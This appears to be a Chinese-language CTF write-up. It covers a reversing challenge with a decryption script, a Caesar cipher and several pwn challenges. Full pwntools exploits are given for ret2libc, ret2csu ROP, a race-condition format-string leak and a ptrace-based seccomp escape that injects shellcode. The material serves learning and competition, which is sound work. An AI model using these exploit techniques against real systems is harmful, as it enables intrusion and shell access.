.text:0000000000001268 dq 8BC18905E8C1E045h, 4533D031C801F445h, 0C1DC458BDC4501E4h
.text:0000000000001280 dq 8DF8458BC28904E0h, 0E4458BDC558B020Ch, 458BCA89C131D001h
.text:0000000000001298 dq 458BC18905E8C1DCh, 0E44533D031C801FCh, 8301E84583E04501h
.text:00000000000012B0 dq 7503748D761FE87Dh, 48C001D8458BE101h, 85148D4898h, 0C20148C8458B4800h
.text:00000000000012D0 dq 0D8458B0289DC458Bh, 1C083489848C001h, 85148D48h, 8BC20148C8458B48h
.text:00000000000012F0 dq 1D845830289E045h, 0FEC88E0F03D87D83h, 0C35DC8458B48FFFFh

重新加载后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:0000563C791E1308 main:                                   ; DATA XREF: start+21↑o
.text:0000563C791E1308 ; __unwind { // 563C791E0000
.text:0000563C791E1308 endbr64
.text:0000563C791E130C push rbp
.text:0000563C791E130D mov rbp, rsp
.text:0000563C791E1310 sub rsp, 70h
.text:0000563C791E1314 mov rax, fs:28h
.text:0000563C791E131D mov [rbp-8], rax
.text:0000563C791E1321 xor eax, eax
.text:0000563C791E1323 mov dword ptr [rbp-60h], 2
.text:0000563C791E132A mov dword ptr [rbp-5Ch], 0
.text:0000563C791E1331 mov dword ptr [rbp-58h], 2
.text:0000563C791E1338 mov dword ptr [rbp-54h], 2
.text:0000563C791E133F mov qword ptr [rbp-30h], 0
.text:0000563C791E1347 mov qword ptr [rbp-28h], 0
.text:0000563C791E134F mov qword ptr [rbp-20h], 0
.text:0000563C791E1357 mov qword ptr [rbp-18h], 0
.text:0000563C791E135F jz short loc_563C791E1364
.text:0000563C791E1361 jnz short loc_563C791E1364
.text:0000563C791E1361 ; ---------------------------------------------------------------------------
.text:0000563C791E1363 db 0E1h
.text:0000563C791E1364 ; ---------------------------------------------------------------------------
.text:0000563C791E1364
.text:0000563C791E1364 loc_563C791E1364: ; CODE XREF: .text:0000563C791E135F↑j
.text:0000563C791E1364 ; .text:0000563C791E1361↑j
.text:0000563C791E1364 mov dword ptr [rbp-50h], 569A1C45h
.text:0000563C791E136B mov dword ptr [rbp-4Ch], 0EF2C6A10h
.text:0000563C791E1372 mov dword ptr [rbp-48h], 0FB440BD6h
.text:0000563C791E1379 mov dword ptr [rbp-44h], 5797F41Dh
.text:0000563C791E1380 mov dword ptr [rbp-40h], 523FF2C3h
.text:0000563C791E1387 mov dword ptr [rbp-3Ch], 48337CD9h
.text:0000563C791E138E mov dword ptr [rbp-38h], 3616AC2Dh
.text:0000563C791E1395 mov dword ptr [rbp-34h], 6B6312Dh
.text:0000563C791E139C lea rdi, aPlsInputFlag ; "Pls input flag"
.text:0000563C791E13A3 call _puts
.text:0000563C791E13A8 lea rax, [rbp-30h]
.text:0000563C791E13AC mov edx, 20h ; ' '
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
.text:000055E1FCA101A9                 endbr64
.text:000055E1FCA101AD push rbp
.text:000055E1FCA101AE mov rbp, rsp
.text:000055E1FCA101B1 mov [rbp-38h], rdi
.text:000055E1FCA101B5 mov [rbp-40h], rsi
.text:000055E1FCA101B9 jz short loc_55E1FCA101BE
.text:000055E1FCA101BB jnz short loc_55E1FCA101BE
.text:000055E1FCA101BB ; ---------------------------------------------------------------------------
.text:000055E1FCA101BD db 0E1h //nop
.text:000055E1FCA101BE ; ---------------------------------------------------------------------------
.text:000055E1FCA101BE
.text:000055E1FCA101BE loc_55E1FCA101BE: ; CODE XREF: .text:000055E1FCA101B9↑j
.text:000055E1FCA101BE ; .text:000055E1FCA101BB↑j
.text:000055E1FCA101BE mov dword ptr [rbp-28h], 0
.text:000055E1FCA101C5 jmp loc_55E1FCA102F8
.text:000055E1FCA101CA ; ---------------------------------------------------------------------------
.text:000055E1FCA101CA
.text:000055E1FCA101CA loc_55E1FCA101CA: ; CODE XREF: .text:000055E1FCA102FC↓j
.text:000055E1FCA101CA mov eax, [rbp-28h]
.text:000055E1FCA101CD add eax, eax
.text:000055E1FCA101CF cdqe
.text:000055E1FCA101D1 lea rdx, ds:0[rax*4]
.text:000055E1FCA101D9 mov rax, [rbp-38h]
.text:000055E1FCA101DD add rax, rdx
.text:000055E1FCA101E0 mov eax, [rax]
.text:000055E1FCA101E2 mov [rbp-24h], eax
.text:000055E1FCA101E5 mov eax, [rbp-28h]
.text:000055E1FCA101E8 add eax, eax
.text:000055E1FCA101EA cdqe
.text:000055E1FCA101EC add rax, 1
.text:000055E1FCA101F0 lea rdx, ds:0[rax*4]
.text:000055E1FCA101F8 mov rax, [rbp-38h]
.text:000055E1FCA101FC add rax, rdx
.text:000055E1FCA101FF mov eax, [rax]
.text:000055E1FCA10201 mov [rbp-20h], eax
.text:000055E1FCA10204 mov dword ptr [rbp-1Ch], 0
.text:000055E1FCA1020B mov dword ptr [rbp-14h], 897354D2h
.text:000055E1FCA10212 mov rax, [rbp-40h]
.text:000055E1FCA10216 mov eax, [rax]
.text:000055E1FCA10218 mov [rbp-10h], eax
.text:000055E1FCA1021B mov rax, [rbp-40h]
.text:000055E1FCA1021F mov eax, [rax+4]
.text:000055E1FCA10222 mov [rbp-0Ch], eax
.text:000055E1FCA10225 mov rax, [rbp-40h]
.text:000055E1FCA10229 mov eax, [rax+8]
.text:000055E1FCA1022C mov [rbp-8], eax
.text:000055E1FCA1022F mov rax, [rbp-40h]
.text:000055E1FCA10233 mov eax, [rax+0Ch]
.text:000055E1FCA10236 mov [rbp-4], eax
.text:000055E1FCA10239 mov dword ptr [rbp-18h], 0
.text:000055E1FCA10240 jmp short loc_55E1FCA102AF

把类似这样的nop(在汇编标出) ,P重定义,tab就得到伪代码了。

1
2
3
.text:000055E1FCA101BB ; ---------------------------------------------------------------------------
.text:000055E1FCA101BD db 0E1h //nop
.text:000055E1FCA101BE ; ---------------------------------------------------------------------------

ok,现在可以给exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
def reverse_encrypt():
# 目标值(处理后的结果),来自v7数组,转换为32位无符号整数
v7 = [
1452940357,
-282301936,
-79426602,
1469576221,
1379922627,
1211333849,
907455533,
112603437
]

# 将v7转换为32位无符号整数,并按对分组
targets = []
for i in range(0, 8, 2):
v3_final = v7[i] & 0xFFFFFFFF
v4_final = v7[i + 1] & 0xFFFFFFFF
targets.append((v3_final, v4_final))

# a2数组的值,固定为[2, 0, 2, 2]
a2 = [2, 0, 2, 2]
initial_pairs = []

# 对每对目标值进行逆向计算
for (target_v3, target_v4) in targets:
current_v3 = target_v3
current_v4 = target_v4

# 逆向32步加密过程(从第31步到第0步)
for j in reversed(range(32)): # j = 31, 30, ..., 0
# 计算当前步骤的v5值
v5 = (-1988930350) * (j + 1)
v5 &= 0xFFFFFFFF # 保持32位有符号整数特性

# 计算delta_v4,用于还原v4的上一步值
term1 = v5
term2 = (current_v3 + v5) & 0xFFFFFFFF
term3 = (16 * current_v3 + a2[2]) & 0xFFFFFFFF
term4 = ((current_v3 >> 5) + a2[3]) & 0xFFFFFFFF
delta_v4 = (term1 ^ term2 ^ term3 ^ term4) & 0xFFFFFFFF

# 还原上一步的v4
prev_v4 = (current_v4 - delta_v4) & 0xFFFFFFFF

# 计算delta_v3,用于还原v3的上一步值
term1_v3 = v5
term2_v3 = (prev_v4 + v5) & 0xFFFFFFFF
term3_v3 = (16 * prev_v4 + a2[0]) & 0xFFFFFFFF
term4_v3 = ((prev_v4 >> 5) + a2[1]) & 0xFFFFFFFF
delta_v3 = (term1_v3 ^ term2_v3 ^ term3_v3 ^ term4_v3) & 0xFFFFFFFF

# 还原上一步的v3
prev_v3 = (current_v3 - delta_v3) & 0xFFFFFFFF

# 更新当前值,准备下一步逆向
current_v3, current_v4 = prev_v3, prev_v4

initial_pairs.append((current_v3, current_v4))

# 将初始值转换为字节(小端序,符合x86架构)
flag_bytes = b''
for v3, v4 in initial_pairs:
flag_bytes += v3.to_bytes(4, byteorder='little')
flag_bytes += v4.to_bytes(4, byteorder='little')

return flag_bytes


# 获取并打印flag
flag = reverse_encrypt()
print("Flag:", flag.decode('utf-8'))
1
Flag: b3d06a66f8aa86e3e6390f615e389e55

account

注意一下到了v12要将其覆盖成13就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(arch='i386', os='linux')

# 定义自定义函数以匹配图片中的代码
def ru(s): return p.recvuntil(s)
def sl(s): return p.sendline(s)
def rl(): return p.recvline()
def rn(n): return p.recvn(n)
def ia(): return p.interactive()

# 处理32位地址的符号问题(与图片完全一致)
def stre(val):
return str(val & 0xffffffff).encode()

# 启动进程
p = process('./account')
elf = ELF('./account')
libc = ELF('./libc-2.31.so')

# 第一阶段:泄露libc地址(与图片完全一致)
ru(b"Enter your bill, enter 0 to exit:\n")
for i in range(10):
sl(b'666')

sl(b'13')
sl(stre(0x080490B0)) # puts@plt
sl(stre(elf.sym['vul'])) # vul函数地址
sl(stre(0x0804C014)) # puts@got
sl(b'0')

rl() # 接收"Recording completed"行
libc_base = u32(rn(4)) - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

# 第二阶段:获取shell(与图片完全一致)
ru(b"Enter your bill, enter 0 to exit:\n")
for i in range(10):
sl(b'666')

sl(b'13')
sl(stre(system_addr - 0x100000000)) # 负数技巧
sl(b'1') # 任意返回地址
sl(stre(binsh_addr - 0x100000000)) # 负数技巧
sl(b'0')

ia() # 进入交互模式

多重Caesar密码

1
myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}

我当时写的时候

1
2
3
4
5
6
myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}
flag caesar

m y f z h r p a p f x d d i
f l a g c a e s a r
7 13 5 19 13 5 19 -15 -3 -17

我把’-‘算计去了,结果以为循环是 7 13 5 19 -15 -3 -17,没解出来了。

看有的师傅用ai深度研究梭哈了

1
flag{easy_caesar_with_multiple_shifts_2025}

原理学习:

什么时候用?

找不到简单指令(如 pop rdi; ret, pop rsi; ret, pop rdx; ret)的情况下。

所以我们看到_libc_csu_init这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:0000000000401250 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14 //rdx = r14
.text:0000000000401293 mov rsi, r13 //rsi = r13
.text:0000000000401296 mov edi, r12d //edi = r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp

可以看到rdx = r14,rsi = r13,edi = r12d,可以看到rdx,rsi,edi可以通过r14, r13,r12d来控制,从而我们就可以解决这些指令缺少的问

题。

具体讲一下怎么利用的:

当执行__libc_csu_init(.text:0000000000401285 jz short loc_4012A6)是先执行loc_4012A6:,再loc_401290:

1
2
3
4
5
6
7
8
9
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
1
2
3
4
5
6
7
8
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14 //rdx = r14
.text:0000000000401293 mov rsi, r13 //rsi = r13
.text:0000000000401296 mov edi, r12d //edi = r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx //比较rbp, rbx
.text:00000000004012A4 jnz short loc_401290 //判断为假跳到401290

我们要他继续往下执行所以我们要是其为真,因此rbp, rbx得相等,我们先设置rbp = 1,rbx = 0;执行到add rbx, 1 –> rbx = 1,正好达

到rbp = rbx,r14设置成原本要在rdx要的参数,r13和r12也同理。

注释:由于高32位基本为0 ,所以 rdi = edi = r12d。

1
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]

我们只要把r15设置成我们需要执行的function,就可以 call function 。(r15+rbx * 8 = r15+0 * 8 = r15)

题目

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(_bss_start, 0LL);
write(1, "Start Your Exploit!\n", 0x14uLL);
vuln();
return 0;
}
1
2
3
4
5
6
7
8
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

write(1, "Input:\n", 7uLL);
read(0, buf, 0x200uLL);
return write(1, "Ok.\n", 4uLL);
}

存在栈溢出。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启NX不能直接注入shellcode

这里找不到pop rdi; ret, pop rsi; ret, pop rdx; ret但是有__libc_csu_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Gadgets information
============================================================
0x00000000004012ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012b0 : pop r14 ; pop r15 ; ret
0x00000000004012b2 : pop r15 ; ret
0x00000000004012ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012af : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x00000000004012b3 : pop rdi ; ret
0x00000000004012b1 : pop rsi ; pop r15 ; ret
0x00000000004012ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004011ba : ret 0xfffe

我们可以利用栈溢出构造ROP链进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
io=remote('node5.anna.nssctf.cn',26879)
#io=process('./1')
#gdb.attach(io)
elf=ELF("./ret2csu")
libc=ELF("./libc.so.6")

write_got=0x404018
write_plt=0x401064
csu_start=0x0000000000401290
csu_end=0x000000004012AA
main=0x0000000004011DC

def csu(rbx,rbp,r15,r13,r14,r12,ret_addr):
pay=b'a'*(0x100+8)+p64(csu_end)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
pay+=p64(csu_start)
pay+=b'a'*56+p64(ret_addr) //56填充的是loc_4012A6的7个pop|ret的地址。
io.sendline(pay)
sleep(1)

io.recvuntil('Input:\n')
csu(0,1,write_got,write_got,8,1,main)
io.recvuntil("Ok.\n")
write_addr=u64(io.recv(8))
print(f"write_addr==>{hex(write_addr)}")
base=write_addr-libc.sym['write']
system=base+libc.sym['system']
bin_sh_addr=base+next(libc.search(b"/bin/sh"))
rdi = 0x00000000004012b3
ret = 0x000000000040101a
pay=b'a'*0x108+p64(ret)+p64(rdi)+p64(bin_sh_addr)+p64(system)
io.sendlineafter('Input:\n',pay)
io.interactive()

参考blog(https://bbs.kanxue.com/thread-287806.htm#msg_header_h3_0)

Time

mian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
sub_2A31();
while ( 1 )
{
while ( !(unsigned int)sub_2B0F() )
;
pthread_create(newthread, 0LL, start_routine, 0LL);
}
}

sub_2A31()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_2A31()
{
char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("please input your name:");
__isoc99_scanf("%100s", byte_50A0);
puts("I will tell you all file names in the current directory!");
argv[0] = "/bin/ls";
argv[1] = "/";
argv[2] = "-al";
argv[3] = 0LL;
if ( !fork() )
execve("/bin/ls", argv, 0LL);
wait(0LL);
puts("good luck :-)");
return v2 - __readfsqword(0x28u);
}

sub_2B0F

1
2
3
4
5
6
7
8
9
__int64 sub_2B0F()
{
puts("input file name you want to read:");
__isoc99_scanf("%s", file);
if ( !strstr(file, "flag") )
return 1LL;
puts("flag is not allowed!");
return 0LL;
}

start_routine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 __fastcall start_routine(void *a1)
{
unsigned int v1; // eax
int i; // [rsp+4h] [rbp-46Ch]
int j; // [rsp+8h] [rbp-468h]
int fd; // [rsp+Ch] [rbp-464h]
char v6[96]; // [rsp+10h] [rbp-460h] BYREF
char v7[16]; // [rsp+70h] [rbp-400h] BYREF
char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
unsigned __int64 v9; // [rsp+468h] [rbp-8h]

v9 = __readfsqword(0x28u);
sub_1329(v6);
v1 = strlen(file);
sub_1379(v6, file, v1);
sub_14CB(v6, v7);
puts("I will tell you last file name content in md5:");
for ( i = 0; i <= 15; ++i )
printf("%02X", (unsigned __int8)v7[i]);
putchar(10);
for ( j = 0; j <= 999; ++j )
buf[j] = 0;
fd = open(file, 0);
if ( fd >= 0 )
{
read(fd, buf, 0x3E8uLL);
close(fd);
printf("hello ");
printf(byte_50A0);
puts(" ,your file read done!");
}
else
{
puts("file not found!");
}
return v9 - __readfsqword(0x28u);
}

这里在start_routine的printf(byte_50A0);有格式化字符串漏洞很明显我们要把读入的flag通过的格式化字符串泄露出来。

可是在sub_2B0F读入的文件名对flag进行了过滤。这里就要了解一下进程和线程的关系了。

线程与进程的基本关系(复习)

  • 进程(Process):操作系统资源分配的基本单位。每个进程拥有独立的内存空间、文件描述符、环境变量等。进程之间相互隔离,通信需要通过 IPC(如管道、消息队列)。
  • 线程(Thread):进程内的执行单元(轻量级进程)。多个线程共享同一进程的资源(如内存、文件描述符),但每个线程有自己的栈、寄存器和程序计数器。线程切换开销小,适合并发任务。

线程竞争(Race Condition)的定义和原因

  • 定义:当多个线程同时读写共享资源(如 filename),且没有同步机制(如锁)时,程序的执行结果依赖于线程调度的时序,导致不一致或错误。
1
2
3
4
5
6
7
8
9
时间   事件
---- ----
t0 用户输入 "temp.txt" → main 线程设置 filename = "temp.txt"
t1 main 启动 work 线程
t2 work 线程开始 MD5 计算(耗时操作,持续到 t2+100ms)
↳ 在此期间,main 线程被挂起(open 延迟)
t2+50ms 用户输入 "flag" → main 线程设置 filename = "flag"(覆盖)
t2+100ms work 线程完成 MD5 计算
t2+101ms main 线程恢复,执行 open(filename) → 打开 "flag" 文件

再用格式化字符串泄露flag

1
hello aaaa0x71a74c1fe8a0(nil)(nil)0x6(nil)0x10000000000x3000003e80x2000x36c63f9b4b69cc070x2bc422698ba00f710x80656d6974(nil)(nil)(nil)(nil)(nil)(nil)0x20(nil)0x36c63f9b4b69cc070x2bc422698ba00f710x10102464c457f(nil)0x1003e00030x12400x400x41980x380040000000000x1c001d0040000d0x4000000060x400x400x400x2d80x2d80x80x4000000030x318 ,your file read done!

把16进制

1
0x80656d6974 ---> time

来算一下它在那个位置

1
2
hello aaaa
0x71a74c1fe8a0 (nil (nil) 0x6 (nil) 0x1000000000 0x3000003e8 0x200 0x36c63f9b4b69cc07 0x2bc422698ba00f71 0x80656d6974 (nil) (nil) (nil) (nil) (nil) (nil) 0x20 (nil) 0x36c63f9b4b69cc07 0x2bc422698ba00f71 0x10102464c457f (nil) 0x1003e0003 0x1240 0x40 0x4198 0x38004000000000 0x1c001d0040000d 0x400000006 0x40 0x40 0x40 0x2d8 0x2d8 0x8 0x400000003 0x318 ,your file read done!

文件在12的位置,但是我们不知道内容在什么位置,我在本地创建一个fake:aaaa来算一下

1
2
3
hello aaaa
0x7264a8ffe8a0 (nil) (nil) 0x6 (nil) 0x1000000000 0x3000003e8 0x200 0x9c9604acef9d4c14 0x94a18eaaefd8fa7b 0x80656b6166 (nil) (nil) (nil) (nil) (nil) (nil) 0x20 (nil) 0x9c9604acef9d4c14 0x94a18eaaefd8fa7b 0xa61616161 (nil) (nil) (nil) (nil) (nil) (nil)
(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil) ,your file read done!

在22的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# 配置远程连接参数
HOST = "nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com"
PORT = 443

# 初始化连接
io = remote(HOST, PORT, ssl=True, sni=HOST)
context.log_level = 'debug'

# 构造格式字符串漏洞利用负载
leak_payload = f"%{12+9}$p" # 起始地址
for i in range(0x10):
leak_payload += f"-%{13+9+i}$p" # 连续泄露后续16个地址

# 发送名称触发漏洞
io.sendlineafter(b"please input your name:\n", leak_payload.encode())

# 分阶段读取文件
io.sendlineafter(b"input file name you want to read:\n", b"time")
io.sendlineafter(b"input file name you want to read:\n", b"flag")

# 进入交互模式
io.interactive()

理论上是可以的但是没通,实际上也是可以的,因为别的师傅打出来,我没复现出来。

原作者的exp(https://bbs.kanxue.com/thread-287806.htm#msg_header_h3_0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#io=process('./pwn')
context.log_level='debug'
io=remote("nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com",443,ssl=True,sni="nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com")
def bug():
gdb.attach(io)
name=f"%{12+9}$p".encode()
for i in range(0x10):
name+=f"-%{13+9+i}$p".encode()
io.sendlineafter(b"please input your name:\n",name)
file=b"time"
io.sendlineafter(b"input file name you want to read:\n",file)
io.sendlineafter(b"input file name you want to read:\n",b"flag")

io.interactive()

官方exp

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level='debug'
p = process("./time")
p.sendlineafter(b'name:\n',
b'%28$p.%27$p.%26$p.%25$p.%24$p.%23$p.%22$p.%21$p.%20$p')
p.sendline(b'a'*1000000)
p.sendline(b'./flag')
p.recvall()
p.close()

smallbox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall main(int argc, const char **argv, const char **envp)
{
__pid_t v4; // [rsp+4h] [rbp-Ch]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL )
{
puts("[+] please input your shellcode: ");
v4 = fork();
if ( v4 < 0 )
{
perror("fork");
exit(1);
}
if ( !v4 )
{
while ( 1 )
;
}
read(0, (void *)0xDEADC0DE000LL, 0x1000uLL);
install_seccomp();
MEMORY[0xDEADC0DE000](); //执行shellcode
return 0;
}
else
{
perror("mmap");
return 1;
}
}

在这里我们可以看到父线程开启了sandbox的保护,子进程没有但是子进程是个无限循环。

1
mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL 

在0xDEADC0DE000上创建了RWX(可读,可写,可执行)

1
2
3
4
5
6
7
8
9
$ echo -ne "expected_input" | seccomp-tools dump ./smallbox
[+] please input your shellcode:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL

只能用ptrace

所以攻击思路就是在子进程里用ORW,在到父进程执行,具体怎么绕过无限循环能先看exp(大佬原创的,我纯黏贴)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
#io=process('./pwn')
io=remote("nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com",443,ssl=True,sni="nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com")
context.arch='amd64'
context.log_level='debug'
def bug():
gdb.attach(io,"b read")
io.recvuntil(b"[+] please input your shellcode: ")
shellcode =asm("mov r14d, DWORD PTR [rbp-0xc]")
print("已获得子进程pid")
"""orw
0xdeadc0de000: 0x010101010101b848 0x672e2fb848500101
0xdeadc0de010: 0x043148010166606d 0xf631d231e7894824
0xdeadc0de020: 0x01ba41050f58026a 0x0301f28141010102
0xdeadc0de030: 0x6ad2315f016a0101 0x00050f58286a5e03
"""
shellcode+=asm(shellcraft.ptrace(16,"r14"))
shellcode+=asm('''
mov rcx,0x500000000
loop:
sub rcx,1
test rcx,rcx
jnz loop
''')
print("进程附加成功")
shellcode+=asm(shellcraft.ptrace(12,"r14",0,0xDEADC0DE000+0x500))
shellcode+=asm("mov rsp,0xDEADC0DE588;mov rax, 0xDEADC0DE000;push rax;mov rsp,0xDEADC0DE800")
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000,0x010101010101b848))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+8,0x672e2fb848500101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x10,0x043148010166606d))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x18,0xf631d231e7894824))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x20,0x01ba41050f58026a))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x28,0x0301f28141010102))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x30,0x6ad2315f016a0101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x38,0x00050f58286a5e03))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(13,"r14",0,0xDEADC0DE000+0x500))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(17,"r14", 0, 0))
shellcode+=asm("jmp $")
io.send(shellcode)
io.interactive()

ptrace请求类型详解

  1. PTRACE_ATTACH (16)
1
asm(shellcraft.ptrace(16, "r14"))
  • 作用:将当前进程附加到目标进程作为调试器
  • 参数
    • r14:目标进程PID(子进程)
  • 效果
    • 使子进程进入暂停状态(相当于发送SIGSTOP)
    • 父进程成为子进程的调试器,可以完全控制子进程
  • 系统调用号__NR_ptrace = 101,请求类型为16
  1. PTRACE_GETREGS (12)
1
asm(shellcraft.ptrace(12, "r14", 0, 0xDEADC0DE000+0x500))
  • 作用:获取目标进程的寄存器状态
  • 参数
    • r14:目标进程PID
    • 0:忽略参数
    • 0xDEADC0DE500:寄存器数据存储位置
  • 效果
    • 将子进程的所有寄存器值复制到0xDEADC0DE500位置
    • 结构体大小为sizeof(user_regs_struct) = 216字节
  • 目的:为后续修改寄存器做准备
  1. PTRACE_POKETEXT (5)
1
asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000, 0x010101010101b848))
  • 作用:向目标进程内存写入数据
  • 参数
    • r14:目标进程PID
    • 0xDEADC0DE000:写入地址
    • 0x010101010101b848:写入的8字节数据
  • 关键特性
    • 每次调用只能写入8字节数据
    • 需要多次调用写入完整shellcode

4.PTRACE_SETREGS (13)

1
asm(shellcraft.ptrace(13, "r14", 0, 0xDEADC0DE000+0x500))
  • 作用:设置目标进程的寄存器状态
  • 参数
    • r14:目标进程PID
    • 0:忽略参数
    • 0xDEADC0DE500:寄存器数据来源位置
  • 效果
    • 0xDEADC0DE500处的寄存器数据恢复到子进程
